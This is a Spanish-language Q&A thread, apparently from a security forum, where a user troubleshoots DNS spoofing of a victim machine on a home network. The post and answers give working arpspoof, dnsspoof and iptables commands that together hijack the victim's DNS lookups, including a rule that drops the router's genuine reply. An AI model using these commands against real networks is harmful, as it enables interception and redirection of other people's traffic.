DNSspoof no funciona

8

Mi objetivo es DNSspoof.

Mi red está usando un enrutador inalámbrico con la dirección 192.168.1.1 y el DNS primario es el mismo que la dirección del enrutador.

He habilitado el Kernel IP Forward en Linux.

El archivo host DNS es spoofhosts.txt

173.252.74.22  google.co.in

Mi máquina víctima es 192.168.1.224

He hecho ARPspoof usando

#sudo arpspoof -t 192.168.1.224 192.168.1.1 -i wlan0
#sudo arpspoof -t 192.168.1.1 192.168.1.224 -i wlan0

y he hecho DNSspoof

ashok@c:~$ sudo dnsspoof -f spoofhosts.txt -i wlan0 host 192.168.1.224 and udp port 53
[sudo] password for ashok: 
dnsspoof: listening on wlan0 [host 192.168.1.224 and udp port 53]
192.168.1.224.15703 > 192.168.1.1.53:  32219+ A? google.co.in
192.168.1.224.15703 > 192.168.1.1.53:  32219+ A? google.co.in
192.168.1.224.14489 > 192.168.1.1.53:  3788+ A? google.co.in
192.168.1.224.14489 > 192.168.1.1.53:  3788+ A? google.co.in

Recibo las respuestas anteriores, pero la cúpula de DNS no está funcionando para la víctima.

Sin embargo, he observado en Wireshark en el sistema víctima. Me da esta información porque he observado que la respuesta del DNS proviene del enrutador más rápido que yo.

Vea la segunda línea que da la respuesta directamente desde el enrutador con una IP de Google válida.

¿Cómo resolver esto? ¿Es este el problema con el comando DNSspoof? ¿Qué ha pasado?

    
pregunta ashok 20.08.2015 - 18:10
fuente

2 respuestas

2

Finalmente, lo tengo!

Dnsspoof no puede modificar el paquete DNS, solo puede enviar otro paquete preparado con una dirección falsificada. Pero el paquete real llega a la víctima, ya que la primera y la computadora de la víctima solo lo tienen en cuenta.

La solución a nuestro problema es bloquear el paquete real. Hice esto usando iptables con una dirección específica en hexadecimal:

# iptables --append FORWARD --match string --algo kmp --hex-string '|e1 e0 68 2d|' --jump DROP

Puede encontrar la dirección IP de destino de su sitio web en hexadecimal en Wireshark u otro sniffer cuando se conecta con el servidor de manera correcta.

Sé que este no es el mejor método pero funciona :)

    
respondido por el Samiec Omega 10.05.2016 - 01:32
fuente
1

Intente vaciar la memoria caché de DNS en todos los clientes involucrados antes de intentar la falsificación de DNS.

En Windows , abra un terminal y escriba: ipconfig /flushdns

En Linux , abra un terminal y escriba: sudo /etc/init.d/nscd restart

En Mac OS X abra una terminal y escriba: sudo dscacheutil -flushcache

    
respondido por el Lorenzo Ruggiero 10.12.2015 - 23:28
fuente

Lea otras preguntas en las etiquetas